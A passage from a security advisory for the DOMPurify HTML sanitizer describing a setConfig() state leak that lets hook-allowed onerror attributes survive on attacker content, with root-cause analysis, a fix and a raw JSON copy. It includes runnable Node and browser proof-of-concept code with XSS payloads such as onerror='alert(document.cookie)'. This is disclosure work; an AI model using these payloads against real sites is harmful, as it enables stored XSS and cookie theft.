// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.

Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed `on*`" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)

PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
It persists for the instance lifetime (survived 5/5 subsequent default calls).
clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

Limitations

Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)

Appendix B — Browser PoC (complete; confirms execution)

<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Severity

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.10"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471",
      "CWE-665",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook\u0027s mutation of `data.allowedAttributes` **non-persistent** \u2014 so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** \u2014 and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, \u2026) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** \u2014 yielding stored XSS in viewers\u0027 browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify\u0027s own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard \u2014 only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... \u0026\u0026 hooks.uponSanitizeAttribute.length \u003e 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length \u003e 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003c-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) \u2014 hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook\u0027s `allowedAttributes` mutation is a permanent write to the instance\u0027s shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 \u2014 the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require(\u0027dompurify\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst DP = createDOMPurify(new JSDOM(\u0027\u0027).window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\nDP.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) {\n    data.allowedAttributes[\u0027onerror\u0027] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e\u0027);\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\u0027));\n// OUTPUT:  \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e     \u003c-- onerror SURVIVES -\u003e XSS\n```\n\n### PoC 2 \u2014 it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -\u003e the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: [\u0027span\u0027], ALLOWED_ATTR: [] });\nDP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027title\u0027] = true;\n});\nDP.sanitize(\u0027\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e\u0027);\nconsole.log(DP.sanitize(\u0027\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\u0027));   // -\u003e \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e  (leaked)\n```\n\n### PoC 3 \u2014 control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM(\u0027\u0027).window);\nDP2.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n});\nDP2.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027, { ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\nconsole.log(DP2.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027, { ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] }));\n// OUTPUT:  \u003cimg src=\"x\"\u003e     \u003c-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** \u2014 removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** \u2014 a polluted `onmouseover` survives on `\u003ca\u003e` and `\u003cdiv\u003e`, not only the originally-blessed `\u003cimg\u003e`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers\u0027 browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final \u2014 no secondary control prevents execution. `onerror` on a broken-`src` `\u003cimg\u003e` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: [\u0027onerror\u0027] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist \u2014 the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity \u2014 a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003cimg src=x onerror=...\u003e` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist \u2014 the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length \u003e 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003cimg src=\"x\"\u003e`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` \u2014 adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release \u2014 the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1\u20133 reproduce deterministically; `DOMPurify.isValidAttribute(\u0027img\u0027,\u0027onerror\u0027,\u0027x\u0027)` flips `false \u2192 true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire \u2014 execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A \u2014 Node PoC (complete, runnable)\n\n```js\n// poc.js  \u2014  npm i dompurify@3.4.10 jsdom  \u0026\u0026  node poc.js\nconst createDOMPurify = require(\u0027dompurify\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst freshDP = () =\u003e createDOMPurify(new JSDOM(\u0027\u0027).window);\nconst log = (s) =\u003e console.log(s);\nlog(\u0027DOMPurify \u0027 + freshDP().version + \u0027\\n\u0027);\n\n// PoC 1 \u2014 the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) {\n      data.allowedAttributes[\u0027onerror\u0027] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e\u0027);            // trusted render\n  const attacker = DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\u0027);  // attacker, no data-trusted\n  log(\u0027[PoC1] attacker output  : \u0027 + attacker);\n  log(\u0027[PoC1] onerror survived : \u0027 + /onerror/.test(attacker));\n  log(\u0027[PoC1] isValidAttribute(img,onerror) -\u003e \u0027 + DP.isValidAttribute(\u0027img\u0027,\u0027onerror\u0027,\u0027x\u0027) + \u0027  (shared gate poisoned)\\n\u0027);\n}\n\n// PoC 2 \u2014 attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027span\u0027], ALLOWED_ATTR: [] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027title\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e\u0027);\n  log(\u0027[PoC2] benign title leaks: \u0027 + DP.sanitize(\u0027\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\u0027) + \u0027\\n\u0027);\n}\n\n// PoC 3 \u2014 control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027, { ALLOWED_TAGS:[\u0027img\u0027], ALLOWED_ATTR:[\u0027src\u0027] });\n  const ctrl = DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027, { ALLOWED_TAGS:[\u0027img\u0027], ALLOWED_ATTR:[\u0027src\u0027] });\n  log(\u0027[PoC3] control output   : \u0027 + ctrl + \u0027   stripped: \u0027 + !/onerror/.test(ctrl) + \u0027\\n\u0027);\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027);\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003c 5; i++) if (/onerror/.test(DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(\u0027+i+\u0027)\"\u003e\u0027))) leaks++;\n  log(\u0027[persist] survived \u0027 + leaks + \u0027/5 calls after removeAllHooks()\u0027);\n  DP.clearConfig();\n  log(\u0027[persist] after clearConfig(): \u0027 + DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027) + \u0027  (reset)\u0027);\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -\u003e true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\n[PoC3] control output   : \u003cimg src=\"x\"\u003e   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003cimg src=\"x\"\u003e  (reset)\n```\n\n## Appendix B \u2014 Browser PoC (complete; confirms execution)\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\u003cbody\u003e\u003cpre id=\"out\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst log = (s) =\u003e document.getElementById(\u0027out\u0027).textContent += s + \u0027\\n\u0027;\nwindow.__fired = [];\nwindow.alert = (x) =\u003e window.__fired.push(\u0027alert:\u0027 + x);   // sentinel: capture exec, no modal\nlog(\u0027DOMPurify \u0027 + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] 